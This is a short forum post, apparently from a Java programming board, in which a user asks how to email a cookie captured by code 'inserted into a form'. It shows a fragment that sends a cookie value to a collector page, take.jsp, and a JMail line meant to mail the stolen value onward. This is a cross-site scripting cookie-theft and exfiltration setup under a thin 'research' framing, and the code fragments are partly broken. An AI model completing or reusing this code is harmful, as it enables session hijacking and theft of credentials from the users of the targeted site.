• Post Reply Bookmark Topic Watch Topic
  • New Topic

writing cookie value to email  RSS feed

 
David McHugh
Greenhorn
Posts: 23
  • Mark post as helpful
  • send pies
  • Quote
  • Report post to moderator
Hi all,

I have a research question that needs completing, this is not for practicasl use, i have a simple bit of code that gets inserted into a form and grabs a cookie,

"take.jsp?kookie='+document.kookie+"

i now want to send this in an email, would the following be the best way of extracting this cookie or is there another way of doing it e.g. as an attachment?

JMail.Body = "Here you go." + <%= request.getParameter("cookie") %>
 
  • Post Reply Bookmark Topic Watch Topic
  • New Topic
Boost this thread!